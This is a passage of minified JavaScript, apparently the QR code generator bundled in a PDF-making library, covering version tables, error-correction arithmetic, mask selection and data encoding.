A,EAAKA,KAAKrD,EAAGqD,EAAKA,KAAKpD,EAAGwyP,EAAWhQ,GAC1D,MACD,IAAK,YACJoP,UAAUxuP,EAAKA,KAAMovP,GACrB,MACD,IAAK,UACJX,QAAQW,GAIV4N,IADAE,EACiCD,GAE9BvoN,EAAKo8M,WACRoJ,gBAAgBxlN,EAAM06M,IAzPxB2N,CAAYhmM,EAAOzuE,KAAK82P,aAAc92P,KAAK8mQ,UAAWl4M,EAAUvgD,EAAQqmQ,kBAEpErmQ,EAAQ4lP,UAAW,CACtB,IAAI6gB,EAAiB90Q,KAAK8mQ,UAAUpiN,IAAI,CACvCE,KAAM,SACNhZ,EAAG,QACH0f,EAAG,UAEJtrD,KAAK8mQ,UAAUjiN,MAAM5gC,KAAK8wP,WAAaD,EACvCA,EAAepoQ,MAEhB,OAAO1M,KAAK8mQ,WAkhBbpnQ,EAAOD,QAAU+wQ,Y,6BCjnBjB,IA1DA,IAAIwE,EAAW,CACd,KACA,CAAC,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,IAChC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,KACrC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,KACrC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,KACrC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,KACrC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,KACrC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,GAAI,KACzC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,GAAI,KACzC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,GAAI,KACzC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,EAAG,GAAI,CAAC,EAAG,GAAI,KACzC,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,GAAI,GAAI,CAAC,EAAG,GAAI,KAC1C,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,KAC3C,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,KAC3C,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAC/C,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAChD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAChD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAChD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAChD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAChD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,KAChD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,KACpD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,KACpD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,EAAG,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,MACpD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,MACrD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,MACrD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,MACrD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,MACrD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,GAAI,MACzD,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,MAC1D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,MAC1D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,MAC1D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,MAC1D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,MAC1D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,MAC1D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,IAAK,MAC/D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,IAAK,MAC/D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,EAAG,GAAI,GAAI,GAAI,IAAK,IAAK,MAC/D,CAAC,CAAC,GAAI,GAAI,GAAI,IAAK,CAAC,GAAI,GAAI,GAAI,IA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